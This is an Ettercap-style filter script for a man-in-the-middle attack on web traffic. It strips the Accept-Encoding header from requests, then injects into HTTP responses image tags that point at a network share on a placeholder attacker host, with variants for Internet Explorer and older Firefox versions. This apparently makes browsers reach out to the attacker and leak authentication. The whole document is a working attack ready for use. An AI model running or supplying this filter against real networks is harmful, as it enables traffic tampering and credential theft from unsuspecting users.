if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}


#####################
# Internet Explorer #
#####################

if (ip.proto == TCP && tcp.src == 80) {
   replace("</body>", "<img src=\"\\\\XXX.XXX.X.XX\\image.jpg\"></body>");
   replace("</Body>", "<IMG SRC=\"\\\\XXX.XXX.X.XX\\image.jpg\"></body>");
   msg("Filter Ran.\n");
}

############################
# Firefox prior to 2.0.0.4 #
############################

if (ip.proto == TCP && tcp.src == 80) {
   replace("</body>", "<img src=\"moz-icon:file:////1.2.3.4/share/hello.jpg\"></body>");
   replace("</Body>", "<img src=\"moz-icon:file:////1.2.3.4/share/hello.jpg\"></body>");
   msg("Filter Ran.\n");
}

###################
# Firefox 2.0.0.4 #
###################

if (ip.proto == TCP && tcp.src == 80) {
   replace("</body>", "<img src=\"moz-icon:file:///%5c/1.2.3.4/share/hello.jpg\"></body>");
   replace("</Body>", "<img src=\"moz-icon:file:///%5c/1.2.3.4/share/hello.jpg\"></body>");
   msg("Filter Ran.\n");
}